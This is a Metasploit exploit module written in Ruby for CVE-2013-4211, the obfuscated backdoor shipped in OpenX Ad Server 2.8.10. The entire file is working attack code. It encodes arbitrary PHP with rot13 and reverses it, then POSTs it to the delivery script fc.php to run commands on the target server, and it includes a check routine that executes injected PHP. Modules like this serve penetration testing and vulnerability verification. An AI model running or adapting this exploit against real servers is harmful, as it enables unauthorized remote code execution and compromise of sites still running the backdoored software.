##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'OpenX Backdoor PHP Code Execution',
			'Description'    => %q{
				OpenX Ad Server version 2.8.10 was shipped with an obfuscated
				backdoor since at least November 2012 through August 2013.
				Exploitation is simple, requiring only a single request with a
				rot13'd and reversed payload.
			},
			'Author'         =>
				[
					'egypt',   # Metasploit module, shouts to bperry for hooking me up with the vuln software
					'Unknown', # Someone planted this backdoor...
				],
			'License'        => MSF_LICENSE,
			'References'     => [
					[ 'CVE', '2013-4211' ],
					[ 'URL', 'http://www.heise.de/security/meldung/Achtung-Anzeigen-Server-OpenX-enthaelt-eine-Hintertuer-1929769.html'],
					[ 'URL', 'http://forum.openx.org/index.php?showtopic=503521628'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					# Arbitrary big number. The payload gets sent as POST data, so
					# really it's unlimited
					'Space'       => 262144, # 256k
				},
			'DisclosureDate' => 'Aug 07 2013',
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Generic (PHP payload)', { }]],
			'DefaultTarget' => 0))

		register_options([
			OptString.new('TARGETURI', [true, "The URI to request", "/openx/"]),
		], self.class)
	end

	def check
		token = rand_text_alpha(20)
		response = execute_php("echo '#{token} '.phpversion();die();")

		if response.nil?
			CheckCode::Unknown
		elsif response.body =~ /#{token} ((:?\d\.?)+)/
			print_status("PHP Version #{$1}")
			return CheckCode::Vulnerable
		end
		return CheckCode::Safe
	end

	def exploit
		execute_php(payload.encoded)

		handler
	end

	def execute_php(php_code)
		money = rot13(php_code.reverse)
		begin
			response = send_request_cgi( {
				'method' => "POST",
				'global' => true,
				'uri'    => normalize_uri(target_uri.path,"www","delivery","fc.php"),
				'vars_get' => {
					'file_to_serve' => "flowplayer/3.1.1/flowplayer-3.1.1.min.js",
					'script' => 'deliveryLog:vastServeVideoPlayer:player'
				},
				'vars_post' => {
					'vastPlayer' => money
				},
			}, 0.1)
		rescue ::Rex::ConnectionError => e
			fail_with(Failure::Unreachable, e.message)
		rescue ::OpenSSL::SSL::SSLError
			fail_with(Failure::BadConfig, "The target failed to negotiate SSL, is this really an SSL service?")
		end

		response
	end

	def rot13(str)
		str.tr! "A-Za-z", "N-ZA-Mn-za-m"
	end

end